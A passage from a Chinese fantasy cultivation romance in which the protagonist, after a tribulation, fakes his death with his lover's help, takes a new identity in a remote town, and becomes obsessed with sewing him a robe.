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这些画面流过心间,带来微弱的释然。仿佛有一个超越此刻情绪的声音在心底响起:是的,这就是我。从那个认命的布店小子,到如今这个与魔鬼做交易、体内埋着异物的修士。每一步,或许卑微,或许不堪,或许充满算计与不得已,但那确实是我自己,在有限的、甚至是被扭曲的选择里,挣扎着走过来的路。那些屈辱、恐惧、算计、依赖……都是我的一部分,是我存活至今的痕迹。否认它们,就是否认自己的存在。 这股奇特的认知缓缓流过被苏妄和流衍相关记忆灼伤的神魂,带来一阵舒缓的凉意,甚至开始主动修复那些因为激烈情绪冲击而产生的细微裂痕。它没有美化过去,只是平静地接纳,包括接纳昨夜那场疯狂交易带来的、此刻正沉甸甸盘踞在丹田的“果实”。 天劫的冲击并未停止,关于苏妄和流衍的片段依旧一轮轮袭来,带着强烈的情绪攻击性,让他备受煎熬。但关于自身的部分,却始终被那层奇异的、接纳性的平静所笼罩,甚至反过来成为他抵御其他痛苦冲击的、微弱却坚实的基石。 当最后一道关于苏妄的、充满恨意与恐惧的幻象如同潮水般退去,黑暗渐渐消散,小院的景象重新清晰起来时,云实浑身已被冷汗浸透,脸色苍白如纸,神魂感到一阵剧烈的虚弱。 但他稳稳地站着,没有倒下。 丹田处似乎变得更加紧密、自然。虽然修为没有明显的暴涨,但他能感觉到,自己对体内这股新力量的隔阂感消减了些许,那层外壳与自身灵力的交融也顺畅了一分。 更重要的是,他的眼神。那里面的迷茫、不安、以及昨夜残留的惊悸,被这场天劫淬炼掉了大半。他清晰地看到了自己灵魂上的斑驳与残缺,也看清了某些情绪的来处与指向。 而对于自己……他垂下眼,看着自己摊开的手掌,那上面似乎还残留着昨夜的一些触感,也残留着多年来各种劳作、挣扎的薄茧。 渡劫后的虚弱感,如同潮水般在数日的静修中缓缓退去。 云实体内的暗伤在那枚“暗银外壳”持续释放的温和能量滋养下,以远超以往的速度愈合。他更多的时间花在了与这新力量的磨合上。他小心翼翼地感知、引导,那层外壳与他自身异丹的联系越发自然,虽然远未达到如臂使指的程度,但至少不再像最初那样,仅仅是沉重而陌生的异物。 这天下午,院墙外传来略显急躁的敲击暗号。是予。云实打开阵法一角,少年便像条灵活的泥鳅般钻了进来,脸上带着赶路后的红晕,眼睛却亮晶晶的。 “云实,我回来啦!”予的声音带着雀跃,先上下打量了云实几眼,见他气色比之前好了不少,明显松了口气,随即献宝似的开始汇报,“青石镇我去过,你放心,叔婶都好,你弟弟出息了,考上了官,已经去任上了,家里现在可是舒心得很!” 云实听到父母安好,弟弟有了着落,心头一松,这大概是近来最好的消息了。 “多亏你了,予。路上辛苦。” “不辛苦不辛苦!”予摆摆手,随即脸上露出佩服的神色,“不过你最该夸的是你妹妹。那丫头,了不得!” “哦?舒儿怎么了?”云实忙问。 “你猜怎么着?”予压低了声音,带着点兴奋,“她可太精了!你不是留了些布袋在家里么?她大概也觉出这东西太扎眼,根本就没在店里明面用过!她直接在镇子偏西头、靠近旧窑厂的那片荒地,买了块便宜地皮,盖了几间结结实实的青砖房。外面看起来就是个普通作坊,里面特意砌了专门的堆放室,修了通风道,还摆了好些个大缸和炭火盆子,对外就说,这是他们‘云锦记’祖传的防潮防霉秘法。但是这个只是避人耳目用的,这样用储物袋,就不被人发现使用储物袋了!当然你妹妹没告诉我这些,是我自己猜的。” 云实听得怔住。这办法无懈可击,完美地在外界视线里,为布料的优良保存找到了与仙家手段毫不相干的解释。 “而且她有天赋。虽然微弱得很,但摆弄你留下的那几个品级高的布袋特别顺手。云锦记的料子现在在青石镇乃至周边都小有名气,价钱公道质量稳,生意挺红火。叔婶现在吃穿不愁,脸上笑容都多了。云舒妹子还悄悄跟我说,赚了钱先攒着,以后给家里换更大的铺面,或者给云岭弟弟在官场上打点用。他们还很关心你,老是问我你怎么样了,我说你都挺好的,他们给你带了吃的,还让我传话给你说没事干可以多回家看看。” 说罢就从怀里掏出了厚厚的一打,不知道是什么点心。 云实听着,心中百感交集。欣慰,骄傲,还有一丝酸楚。妹妹果然撑起了家业,还用她的方式,小心翼翼地掩盖了他可能带来的风险,找到了让家人过得更好的路。 “舒儿……她做得很好。”云实低声道,喉咙有些发哽。至少,最坏的情况没有发生,他的麻烦没有波及家人,反而阴差阳错,让家里日子好了起来。这让他肩头的重负,似乎轻了那么一丝。 予点点头,但脸上的兴奋劲儿很快淡去,换上了一层忧虑。 “家里是挺好,可是现在外头风声不太对。”他抓了抓头发,“我回来路上,在几个茶棚歇脚,听到些闲话。好像北边,特别是跟坳子布和纸云坊有点关联的州县,最近生意都挺难做。不是你家那种难做,是官面上查得特别严,各种名目的税、检,还有地痞流氓捣乱的事,好像多了不少。” 云实眉头皱起:“是针对布匹生意?” “说不好。”予摇头,“但传言里……扯到了纸鸢。” “纸鸢?她怎么了?” “有人说,是纸云坊的东家手段太厉害,挤兑得别人没了活路,所以招了怨,连带整个行当都被上面盯上了。还有更难听的,说纸鸢一个女子撑那么大门面,背后不定有什么见不得光的靠山,或者用了什么不规矩的手段竞争。”予说着,脸上显出愤愤不平,“我听了就来气!虽然我不认识她,但是你一定最清楚!那些话,分明是有人故意泼脏水!” 云实的心沉了下去。侯府追查坳子布源头未果,现在又起了针对纸鸢的流言?这不像简单的商业倾轧。纸鸢为了撇清关系,早已按温言所说,彻底切断了布袋的流出,将坳子布完全当作普通布料经营。如果只是商业竞争,不该有这种明显带着抹黑和引导官府注意的传言。 “予,”云实沉吟道,“你听到的这些传言,是从哪里传出来的?有源头吗?” “都是些车夫、行商在嚼舌根,七嘴八舌的,哪有什么准源头。”予苦恼地说,“但说得有鼻子有眼,好像大家都默认了似的。我反正不信!纸鸢姐绝不会干那种事!我怀疑……就是有人故意放出的假消息!” 假消息…… 如果,明面上的追查陷入僵局,或者被巧妙规避后,换个方向,从可能相关的人入手,制造压力,泼洒污水,逼得对方自乱阵脚,或者……引出更深藏的人? “予,”云实的声音变得凝重,“多谢你告诉我这些。关于纸鸢的流言,你不要在外面与人争执,免得引火烧身。但……如果你有机会,能用最不惹人注意的方式,给纸鸢递个话,就说……京城这边也听到了些风声,让她万事小心,近期尽量低调,任何异动都要留神。” 予用力点头:“我明白。你也小心。” 予走后,小院重归寂静。云实花了些时间消化那些消息,同时更专注地体察丹田内的细微变化。这力量的源头和代价都令他心情复杂,但至少,他感觉自己不再完全是待宰的羔羊。 又过了一日,将近黄昏时,院门处才传来熟悉的、略显疲惫的脚步声。是温言。 云实打开门,温言站在门外,脸上带着连日奔波留下的淡淡倦色,官袍还未换下,但看到云实的瞬间,那双总是沉静的眼眸里便漾开一层暖意。 “我回来了。”温言的声音有些低哑,他走进院子,反手带上门,目光在云实脸上停留片刻,似乎在确认什么。然后,他伸出手,很自然地,却又带着一丝不易察觉的、仿佛卸下重担后的松懈,轻轻将云实揽入怀中,“这几天……很想你。” 云实身体微微一顿,随即放松下来,也伸出手臂回抱住他。温言的怀抱带着风尘仆仆的气息,还有一丝淡淡的、属于文书和灵力的清冽味道,此刻却让他感到一种久违的、扎实的安心。他将脸埋进温言肩颈处,嗅着那令人安心的气息,心中的波澜似乎都平息了些许。 两人静静相拥片刻,温言才缓缓松开手,却依旧握着他的肩膀,仔细端详他的脸。 “我前日感应到你这小院阵法有不同寻常的波动,虽被阵法削弱,但……隐约像是渡劫之兆。你……”他眼中有关切,也有探究,“是修行上,终于有进展了?” 来了。云实心中一紧。他抬眼,迎上温言的目光。 他不能说实话,那不仅仅会吓到温言,更可能立刻将他们两人都置于无法预料的险地。 他垂下眼睫,脸上适时地浮现出一层混杂着愧疚和后怕的神情,声音也低了下去:“我……我自己偷偷跑出去了一天。就在城外北边,找了处没什么人的荒山。”他停顿了一下,像是难以启齿,“我实在……实在闷得受不了了,心里也慌。就想着,或许换个环境,试试能不能触动那点灵力。结果……不知怎么,许是憋得太久,又许是那山里气息杂乱,竟真的引动了些变化,稀里糊涂就……好像触到了什么关窍。” 温言果然愣住了,随即眉头深深蹙起,握着他肩膀的手下意识收紧了些,语气里带着明显的惊诧和薄怒:“你……你怎能如此冒险!独自出城?万一被人盯上,或是那荒山有变,你……” 他似乎想责备,但看到云实低垂的头和那副“知道错了”的样子,怒气又化为了更深的忧虑,最终只是叹了口气,将人重新按进怀里,力道有些重,像是要确认他的存在。 “下次,绝不可再如此。我知道你心急,但安全第一。这段时间外面风声真的很紧,各种探查的耳目都比往常多。你能平安出去又平安回来,还没招来任何注意,已是万幸。”他松开些,看着云实的眼睛,认真道,“若实在想出去透气,或者觉得需要换个环境修炼,跟我说,我陪你去。” 云实在他眼中看到了后怕,也看到了一种全然的信任。温言相信了他的说辞,或者说,愿意相信。这份信任让云实心头那点因撒谎而生的不适感,变得更沉重了些。他点了点头,轻声道:“嗯,我知道了。下次……一定先告诉你。” 温言这才神色稍霁,又细细问了问他渡劫时的情况,身体有无不适。云实只拣些无关紧要的感受说了。 夜色渐深,小院里点起了灯烛。温言似乎真的打算歇息,褪去了外袍,只着中衣,眉宇间的倦色在暖光下更显清晰。 云实看着他,心中那份复杂的情绪翻涌着。他忽然很想抓住点什么,抓住这份或许建立在部分谎言上的、此刻却无比真实的温情。 “温言,”他开口,声音在寂静的夜里显得很轻,“今晚……能不走吗?陪陪我。” 温言正在倒茶的手微微一顿,抬眼看他。烛光映在他眼底,柔和了平日的锐利,只余一片温润的暖意。他放下茶壶,走到云实面前,抬手抚了抚他的脸颊,指尖温热。 “当然。”他答得没有半分犹豫,甚至带着一丝如愿以偿的舒缓,“最近忙得脚不沾地,好容易得空能休息两日。这两天,我哪儿也不去,时间都拿来陪你。” 夜色渐深,烛火在桌上静静跳动,将两人的影子投在墙壁上,摇曳不定。温言坐在云实对面,眉宇间虽仍有倦色,却多了几分专注凝神的光。 “关于你身份的事,”温言开口,声音压得有些低,确保只有彼此能听清,“计划……总算有点眉目了。” 云实立刻抬起头,心也跟着提了起来:“怎么说?” 温言没有立刻回答,而是先布下了一层更隐秘的隔音禁制,这才缓缓道来,语气平稳却条理分明,如同在陈述一桩棘手的公务:“目标很明确——彻底切断你与‘天衡宗通缉犯’之间的所有关联。不是遮掩,不是解释,是让‘云实’这个人,从官面上、从追查链条里,合理地、永久地消失。” “然后呢?”云实追问,喉咙发干。 “然后,需要一个全新的、根脚清白、经得起一般查验的身份。”温言看着他,“一个在偏远州郡的户籍册里,有据可查,年龄相仿,身世简单干净,却又恰好在合适时机出现的人。” 云实听懂了,这是要让他“借尸还魂”,不,是“弃尸换魂”。他舔了舔发干的嘴唇:“那……原来那个‘我’,要怎么消失?” “意外。”温言吐出一个词,眼神冷静得近乎冷酷,“最好是修炼出了岔子,走火入魔,灵力反噬而亡。现场需要一具尸体,一具……恰到好处的尸体。” 云实的心跳漏了一拍。 “尸源是关键,也是之前最大的障碍。需要身份模糊,最好是无亲无故,死亡时间、伤势能与你可能的‘出逃路径’和‘死亡方式’吻合,且……便于做手脚。”温言顿了顿,目光有些幽深,“不过,这个障碍,最近可能被扫清了。” 云实看着他,指尖有些发凉。 温言继续道:“尸源已经找到了。前阵子处理山魈案后续时,遇到一具合适的遗骸。”他的语气平稳得像在说一件寻常公务,“需要在那具尸体上,伪造出乱灵根暴走反噬的灵力痕迹。这事有风险,乱力不好模仿,但能办到。” 他稍顿,目光落在云实脸上:“还得留一两件你用过的旧物在现场。不显眼,但要能认出是你的东西。” “然后,让人‘偶然’发现这个现场。发现者不能是我,也不能是任何与我、与你明显相关的人。最好是偶然路过的低阶修士,或是采药伐木的凡人。事情会按程序走,由地方官府或附近的低级修仙宗门最先接手,记录,上报。” 温言的语气带上了一丝属于监察使的、对流程的熟稔:“报告会一层层往上传,最终到达天衡宗和相关的监察机构案头。我会在四明宗内部,利用职务之便,在报告流转的关键节点,以合规核查的方式介入。目的不是强行定论,而是引导核查的走向,利用规则,让各方面的证据链都倾向于支持确认死亡这个结论。只要流程上不出大的纰漏,没有更高层级的强力人物特意深究,这一步成功的机会很大。” “一旦死亡被确认,通缉令撤销,你的过去就被埋葬了。”温言看着云实,眼神复杂,“那时,你必须立刻离开,秘密前往为新身份准备好的偏远之地。我会通过绝对安全的渠道,为你提供最初的安身之所、钱财和基础的修炼资源。然后……” 他停顿了一下,声音更低:“然后我们之间的联系,必须降到最低,最好是完全切断。短期内,绝对不能再见面。你需要像一个真正拥有那个新身份的人一样,在那里生活,修炼,融入。直到风头彻底过去,直到‘云实’这个名字被所有人遗忘。那时,如果你愿意,可以再回来,或许需要一点易容的手段……但至少,你能走在阳光下了。” 长长的一段话说完,小院里一片寂静,只有烛花偶尔爆开的轻微噼啪声。这个计划庞大、细致,却也冰冷,充满了不确定性和风险。它将温言的职权、人脉、甚至原则都押了上去,也将云实的未来置于一场孤注一掷的豪赌之中。 云实沉默了很久,消化着每一个细节。最终,他抬起头,直视温言的眼睛,问出了最关键的问题:“这个计划……可行度到底有多高?” 温言没有立刻给出乐观的保证。他沉吟片刻,才缓缓道:“只要每一步都执行到位,不出大的意外,可行性……不低。尤其是尸源,”他再次提到了这个关键,语气带着一种尘埃落定的沉静,“之前悬而未决的最大难题,现在有了着落。” 云实点了点头,心头那股不祥的预感更重了。 “案子虽被上面压着,但有些‘残局’总需人收拾。”温言的话语变得极其含糊,却足够让云实明白,“那具遗骸身份模糊,死于非命,伤痕和时间……都合适。而且,因其本身牵扯旧案,在某些记录里本就模糊,甚至‘不存在’,用它,反而能减少很多不必要的追溯。现在最大的障碍已尸源头经搬开。其余环节,我会尽全力把控。虽然风险依旧存在,但……值得一试。” 为了自由,为了摆脱永无止境的追捕和阴影下的生活。 “我明白了。”云实低声道。他抬起眼,看向温言,“这计划……让你费心了。” 温言只是摇了摇头,握住他的手。掌心温暖而稳定。 “说这些做什么。你只管安心准备,把身体和灵力都调整到最好。转移之后,最初的日子可能会比较艰难。” 两人又低声商议了一些细节,例如哪些旧物合适,云实近期需要刻意在少数人面前模糊提及“想去北边看看”之类的言语,为将来的“行踪”埋下若有若无的伏笔。 夜色更深,烛火渐弱。温言连日奔波,眉宇间的倦色终究掩不住。云实劝他歇下。温言也没坚持,和衣躺下,几乎是片刻便沉入睡眠,呼吸变得悠长而平稳。 云实却没什么睡意。他坐在床边,借着窗外透进的微弱天光,看着温言熟睡的侧脸。这个男人为他谋划了一条险象环生却又充满希望的路,为此不惜沾染污秽,踏足边缘。这份情谊,沉重得让他几乎无法呼吸,也让他丹田内那股冰冷强大的力量,似乎都带上了一丝不该有的温度。 他轻轻抚平温言微皱的眉头,心中默默做了一个决定。在假死脱身、彻底消失之前,他必须再去见一个人。不是为道别,是为确认一些事,也为……偿还一些可能还不清的债。 他想到纸鸢,想到那些针对她的、来路不明的污浊流言。如果这一切都与他有关,那么在他死前,至少,他得想办法做点什么。 17. 【十五】 计划在一种紧绷的寂静中向前推行。云实终究没能去见纸鸢一面。不是他不想,而是予带回的消息说纸鸢太忙了,坊里坊外,应对查验,打点关节,还要稳住不断被流言冲击的生意,几乎脚不沾地。 予挠着头说:“纸鸢姐让我带话,说她知道你惦记,但她现在实在分不开身,等这阵风头过了……再说。”话虽如此,予却很是高兴,“不过我现在可算认识纸鸢姑娘了!云实哥,她人真的特别好,又爽利又聪明,是个顶好的新朋友!” 时节已近深秋,风里带了明显的寒意。予再来时,扛了一个不小的包袱,放在地上发出沉闷的响声。 “纸鸢给的,”予搓着手,呵出一口白气,“说快入冬了,西南那边湿冷,让你千万别省着。都是她作坊里出的成衣,料子实在,针脚密实,可比市面上那些糊弄人的强多了。” 包袱打开,里面是厚实的夹棉衣裤,外袍,还有两件扎实的羊毛坎肩,无一不实用,无一不透露着细致的考量。 计划在推进中并非一帆风顺,偶有预料之外的阻滞——某个环节的经办人临时调任,预定区域突发小规模兽潮需清理,甚至新身份户籍录入时一处无关紧要的笔误被较真的小吏指出……每一件都可能引发连锁反应。温言像一位沉稳的操盘手,在京城与各方之间无声地落子、斡旋、修正。云实则依照安排行事。一切都必须自然,必须经得起最粗略的事后调查。 终于,在一个雾气浓重的黎明前夕,云实穿着纸鸢送的棉袍,带着一个简单得近乎寒酸的包裹,再温言的掩护下悄然离开了温言那处庇护他许久的小院。按照严密规划的路线,借助一些非常规的、见不得光的地下通道,他像一滴水汇入暗河,悄无声息地远离了权力中心,朝着西南方向而去。 旅途漫长而孤寂。当他最终踏上一个名为溪草镇的偏远小镇土地时,干燥清冷的空气里带着明显的尘土和陌生植物的气息。小镇依着一条水量不大的溪流而建,房屋低矮,街道狭窄,往来行人多是面色黧黑的农户或小贩,口音浓重,衣着朴素。这里与他熟悉的青石镇不同,更与京城的繁华喧嚣是两个世界。按照指示,他在镇子最西头、靠近一片小竹林的地方,找到了一处独门小院。院墙是粗糙的土坯垒成,院门老旧,推开时发出“吱呀”的干涩声响。 小院不大,一间正屋,一间偏房,一个小小的灶间。屋里家具简单,但干净,被褥齐全,米缸里有新米,水缸是满的,灶边甚至整齐码放着耐烧的柴薪。 云实,不,现在他是“若笠”了。他站在空荡荡的院子里,夕阳将他孤单的影子拉得很长。他环顾四周,竹林的沙沙声,远处隐约的狗吠,隔壁飘来的炊烟气味……一切都是真的,却又像是假的。他竟然真的站在了这里,顶着另一个名字,另一个来历,远离了所有的追捕、算计和熟悉的面孔。没有激动,没有欣喜,只有一种极度不真实的恍惚感,像踩在厚厚的棉絮上,深一脚浅一脚,落不到实处。 计划……竟然就这样有惊无险地走到了这一步。他“死”了,又在这里“活”了过来。温言成功了?至少暂时是。他安全了?也许吧。但这份用如此代价换来的“安全”,此刻只让他感到一片茫然的空洞,和一丝挥之不去的、仿佛仍在梦中的悬浮感。 若笠。他在心里默念这个陌生的名字。从今天起,他就是溪草镇的若笠了。一个父母双亡、略识得几个字、会些粗浅手艺、来此投亲不遇只得暂且安身的外乡人。 他慢慢走进正屋,将那个小小的包袱放在简陋的木桌上。包裹里除了几件换洗衣物,就只有一把他坚持要带来的旧柴斧,以及纸鸢送的那些冬衣。 掌心似乎还残留着离别前夜,温言握着他手时的温度。鼻腔里,也仿佛还能闻到纸鸢所赠新衣上,那股干净而温暖的、属于阳光和织机的气息。 他缓缓闭上眼。 溪草镇的日子,像被溪水浸泡过的粗麻布,粗糙、板结,一眼能望到头。云实——不,若笠,终于能走出那方院落,能在镇上的小茶馆听说书,能去唯一的杂货铺换些油盐,甚至能在屋后那片小小的、贫瘠的空地上,尝试种点易活的菜蔬。身体是自由的,至少比在京城的院子里自由。 可心却被无形的绳索越捆越紧,沉甸甸地往下坠。 按理说,他该松口气,甚至该感到庆幸。危险的假死已然完成,新的身份安然落地,温言的谋划有惊无险地走到了这一步。他只需要像无数散落在这片土地上的、无根无萍的低阶修士或凡人一样,放松下来,按部就班地修炼,偶尔接点镇上的零活换取微薄收入,然后安静等待,等待温言安排好一切,送来下一步的消息,或者仅仅是等待时间将云实这个名字彻底冲刷干净。 可他做不到。 一种莫名的焦躁如同附骨之疽,日夜啃噬着他。修炼时,丹田内那枚暗银外壳平稳运转,提供着远超以往的精纯力量,可他总觉得这力量悬浮着,落不到实处,与这片土地、这具若笠的躯壳隔着一层。出门走动,看到镇上人们为明日的米粮、为孩子的学费、为屋顶的漏雨而发出的真切愁容或短暂欢笑,他只觉得更加疏离。他们的烦恼如此具体,而他的……是一片庞大而模糊的虚无,是对过往一切被生生斩断的眩晕,是对未来全然不可知的茫然,还有那份对温言、对纸鸢、甚至对予越来越沉重、却不知该如何安放的亏欠感。 他不知道自己怎么了。夜里常常惊醒,听着窗外单调的风声,浑身冰凉。 为了找点事做,也为了压住心里那头快要破笼而出的焦兽,他翻出了纸鸢寄来的冬衣里夹带的一小包针线。做针线活能让他平静,手指穿梭于布料经纬间的触感,熟悉得让人心酸,恍惚间仿佛回到了云锦记的后堂。他起初想着,给弟妹,给爸妈做点什么吧。可这个念头刚起,一股强烈的无力感就攫住了他。他想象着妹妹云舒穿上他做的新衣,弟弟云岭或许会在某个官署的午后不经意地抚平衣袖……然后呢?他无法现身,无法解释这衣物的来历,甚至无法知道它们是否真的能送到家人手中,是否会被谨慎的妹妹看出端倪反而引来担忧。这份无法抵达的牵挂,比单纯的思念更折磨人。他颓然放下了给家人做衣服的念头。 目光转向另外三个人。 给温言做一件吧。这个念头冒出来,带着些许慰藉,随即又陷入更大的困局。温言似乎从来不缺衣服。记忆里,只要不是身着监察使的正式袍服,温言每一次出现,衣饰都看似随意却质地精良,款式简洁而裁剪得体,几乎从不重样。那些衣料,哪怕以云实过去的布料店经验,也能看出绝非寻常市井之物,光泽、垂感、织法,都透着距离。他该给温言做什么?怎样的款式、颜色、布料,才配得上他,又不显得逾矩或奇怪?更重要的是,他凭什么送?以什么身份送?一个需要他庇护、最终还要靠他苦心筹划才能捡回一条命的麻烦,送一件粗陋的手工衣服,算什么?感激?还是更沉重的负担? 他也想给纸鸢和予做点什么。 他提笔给纸鸢写信,语气尽量轻松,只说自己安顿下来了,镇上成衣款式不多,问她能否寄些她作坊里的寻常衣料过来,他想自己试着做点东西,打发时间。他没提心里的憋闷,也没提那些流言是否平息。 纸鸢的回信来得很快,随信到的还有一个不小的包裹,里面是好几匹颜色素净但质地扎实的棉麻布料,还有几色丝线,甚至贴心地放了几张时下小镇上可能流行的简单衣样。她在信里说,料子尽管用,不够再寄。还说坊里最近总算理顺了些,等手头几件紧要事处理完,她就找机会来看他。信末还有一句:万事开头难,稳住心神,日子总能过下去。 云实抚摸着那些布料,冰凉的指尖渐渐回暖。他先给予做了一件厚实的短袄,选了耐磨的深褐色,在袖口和衣襟处,用暗青色的线绣了简单的、寓意平安的蔓草纹——予总在外面跑,需要一件挡风耐穿的。接着给纸鸢做了一件披风,用的是青灰色的料子,样式大方,便于行动,在领口内侧,他绣了一小丛几乎看不出的、精致的鸢尾花。 这两件做得很顺利。飞针走线间,心绪似乎也随着明确的赠与对象而沉静下来。想象着予穿上短袄的样子,纸鸢系上披风的模样,他心里那股无处着力的郁气,好像也找到了一个小小的出口。 唯独轮到给温言做时,一切都卡住了。 他选了一块料子里最好的、颜色最稳妥的月白色细棉布,比给纸鸢和予的料子都更费钱,但也仅此而已,与温言平日所穿依旧云泥之别。他对着衣样比划了半天,迟迟下不了第一剪。总怕款式太普通,衬不起他;又怕太刻意,显得谄媚。裁好了衣片,缝了几针,看看不对,拆了。换个针法再缝,还是不对,又拆。袖子的长度、腰身的收束、衣领的弧度……每一个细节都变得无比困难,左看右看都不满意。那月白色的布料上,很快布满了细密的针孔和拆线后留下的凌乱痕迹。 他并非手艺不精。相反,正因深知其中门道,才更觉无力。他可以用有限的材料,为纸鸢和予做出贴心实用的衣物。可面对温言,他掌握的这点技艺,连同他能拿出的最好材料,在想象中温言所处的那个世界面前,都显得无比寒酸和笨拙。他做的不是一件衣服,而是在反复衡量着自己与温言之间那道看不见的、由身份、阶层、恩情和复杂情感共同构筑的鸿沟。每一针,都仿佛扎在这道沟壑的边缘;每一根线,都像是在试图连接遥不可及的两岸,却总在中途崩断。 做不出来。 他怔怔地看着桌上那件拆改数次、已然有些磨损的月白布料半成品,手指无意识地蜷缩起来。那种熟悉的、庞大的无力感,混杂着对自己此刻状态的厌恶,再次席卷而来。他连一件像样的衣服都做不出来,又能做什么呢?只能在这偏远小镇上,扮演一个叫若笠的陌生人,被动地等待,焦虑地空转,然后被自己心里这些理不清、道不明的情绪一点点吞噬。 窗外,溪草镇的夜晚一如既往的沉寂。他的小院里没有点灯,只有冰冷的月光,映照着桌上那件未完成的衣裳,和蜷在桌边阴影里、一动不动的身影。 他忘了自己多久没踏出过这院门。 大概,是从那次去镇上唯一那家兼卖杂货的布庄开始的。 那天,他心里揣着给温言做衣服的念头,那件拆改无数次、已然有些磨损的月白半成品摊在桌上,像一块无言的嘲笑。他觉得自己找到了症结:衣服太素,太普通。温言那样的人,即便不穿华服,细节处也总有恰如其分的点缀。一枚不起眼的襟扣,一条暗纹的镶边,或许就能打破那种挥之不去的寒酸感。 他去了镇上那家兼卖杂物的布庄,心里揣着事,目光扫过柜台里陈列的寻常物件时,便带上了不自觉的审视。贝壳扣?太轻飘。黄铜扣?略显俗气。那些编好的丝绦穗子,也总觉得差了点什么。 掌柜的是个有些眼力的中年人,见他神色专注却迟迟不决,便笑着从柜台下先拿出一个托盘,上面是些成色稍好的铜鎏银扣和几颗打磨过的半透明玛瑙珠子。 “客官看看这些?寻常可用不上这么好的。” 云实拿起来对着光看了看,又放下了。成色是比外面的好,但……还不够。他沉默了一会儿,抬眼看向掌柜,声音不高,却很清晰:“掌柜的,这些给寻常富贵人家点缀衣裳是够了。但我想要点……更特别的东西。不图好看,要实在的。你既做这兼营的买卖,来往南北,手里一定有真东西。” 掌柜的笑容敛了敛,重新打量了一下眼前这个穿着朴素、面色有些苍白憔悴的年轻人。这话不像外行说的。他犹豫片刻,弯腰从柜台最底下,搬出一个用油布裹着的小木匣,解开系绳时动作都小心了几分。 匣子打开,里面铺着软绸。东西不多,只有五六件。一块鸽卵大小、透着隐隐赤纹的火纹石原石,虽然灵气斑杂,但火属性气息颇为活跃;两截小指粗细、泛着金属光泽的铁木芯,坚硬无比且能导引少许金气;还有几颗虽然细小、但色泽纯正、毫无杂质的海魄晶碎粒,触手冰凉,有凝神之效。这些东西,距离真正的炼器灵材尚有差距,但在凡俗界与低阶修士的模糊地带,已算得上是难得的“好东西”,价格自然也非寻常饰品可比。 云实的眼睛倏地亮了。他小心地拿起那块火纹石,感受着掌心传来的微烫,又掂了掂铁木芯的重量和质感。就是这些了。布料可以寻常,但点睛之处,必须用上真正蕴含一丝自然特性、能与他的纹路引导产生共鸣的“实料”。 “这些,我都要了。”他没有讨价还价。 掌柜的报了个价,云实面色不变,从怀里点出相应的银钱。数目不小,几乎是他数月用度,但他付钱时没有半分犹豫,仿佛那只是一串无意义的数字。温言留下的钱足够丰厚,而他此刻,愿意为这些材料支付任何合理的代价。 买好了矿石,他又转向另一个目标。 “染料。不要市面常见的植物膏浆,要颜色最正、最持久的矿物颜料,研磨得越细越好。朱砂、石青、金赭,有好的,也拿来我看看。” 这次掌柜的没再试探,直接去了后间,取来几个密封的小陶罐。打开,里面的颜料粉末色泽饱满浓郁,质地细腻如尘,远非之前那些陈年货色可比。云实仔细验看过,又挑了几样,同样干脆地付了钱。 抱着这些零零碎碎的东西回到小屋,他把它们堆在角落。最初几天,他仍试图在那件月白衣袍上添加饰物。用丝线缠绕一颗小珠,缀在领口,对着光看了看,又嫌它笨拙碍眼,拆了。尝试用颜料在衣襟内侧勾勒极细的卷草纹,画到一半,觉得颜色脏污,衬不上那月白的底子,颓然放弃。 布料在桌上、凳上、甚至地上越堆越高。大多是素色,也有他后来咬牙买下的两匹带着暗纹的、稍贵些的绸料。他像个困在迷宫里的人,不停更换材料,试图找到那条对的路径。他开始在废弃的布片上画纹路。那些曾经在白石坳的绝境中,他用草木汁液和全部意念绘制过的、简陋的引导纹路的变体。螺旋的,回环的,交织的。他画了一遍又一遍,用炭条,用买来的劣质颜料。线条从生涩到流畅,又从流畅变得繁复。他不知道自己为什么要画这些,仿佛手指有自己的记忆,脱离了理智的掌控。 “做不出来,就一直做。”这个念头不知何时生根,继而疯长,变成了他全部世界的支柱。他不再想“该做什么样的”,而是“必须做出最好的”。这个“最好”的标准模糊而严苛,悬浮在他意识的高处,驱赶着他,让他停不下来。 作息完全紊乱。饿了,就抓起一把生米,就着水缸里舀起的凉水,麻木地嚼咽。胃里像塞了一团冰冷的、粗糙的砂石,最初只是不适,后来是隐隐的钝痛。直到某次,那钝痛骤然尖锐,像有一只冰冷的手在他腹内狠狠攥紧、拧绞,痛得他瞬间佝偻下去,冷汗涔涔,眼前发黑。他扶着桌沿,佝偻着挪到灶间,用颤抖的手生火,烧水,煮了一锅稀薄的米粥。滚烫的粥滑过食道,落入痉挛的胃袋,带来一阵虚弱的暖意和缓解。那之后,他记得煮饭了,但也仅仅是煮熟而已,常常是盯着灶火,心思早已飞回桌上那些纹路,饭烧糊了也不自知。 小屋越发像个与世隔绝的工坊,或者牢笼。空气里弥漫着布料纤维的微尘、矿物颜料的土腥气,以及一种属于专注到偏执之人的、凝滞不动的沉闷。他脸上没了血色,眼窝深陷,只有一双眼睛,在凝视那些纹路时,亮得惊人,也空得骇人。 布料堆成了小山,画废的图样纸团扔了一地。他机械地重复着:设计纹路,裁剪布料,缝上几针,对着光或凭感觉审视,然后摇头,拆掉。循环往复。手指被针扎破无数次,渗出的血珠染在布料上,形成细小的褐色斑点。 “到底怎样……才配得上他?”这个无声的诘问日夜在脑海中轰鸣。 温言的形象在他心中越发复杂而遥远,是庇护者,是谋划者,是带着他踏入微妙情感又让他深感自身渺小的存在。他做这件衣服,就像在试图搭建一座通往那个身影的、脆弱无比的桥。每一针都关乎平衡,关乎分寸,关乎他能否在这巨大的恩情与自身不堪的过往之间,找到一个微小的、可以安放自己心意的位置。然而,桥桩总是打歪,桥面总是崩塌。 直到某个被失败感淹没的深夜,他捏着针线,指尖冰凉,一个被他刻意压抑了许久的画面,猛地撞破心防,清晰地浮现在眼前—— 那还是计划刚起步不久的时候。温言请来的那位易容师手段极高,将尸身处理妥当后,将影像附在密信里,寄来给温言最终确认。温言当时就在小院里,当着他的面展开那封密信。云实看见的,是留影石映出的一幅静止画面:荒草碎石间,一个穿着粗布短衫的年轻人静静躺着,面容安详。易容术很高明,乍一看,恍惚以为是自己躺在那里。但让云实呼吸一窒的,是那身衣服——洗得发白,肘部打着只求牢固、针脚粗硬的补丁,那布料质地,那磨损痕迹,甚至那补丁的风格,都和他离开青石镇前常穿的那件旧衣,几乎一模一样。 温言很快确认无误,指尖真火燃起,将密信连同留影石拓片烧得干干净净,连灰烬都仔细碾散,不留丝毫痕迹。可那短暂一瞥,已经像烧红的烙铁,烫进了云实眼底最深处。 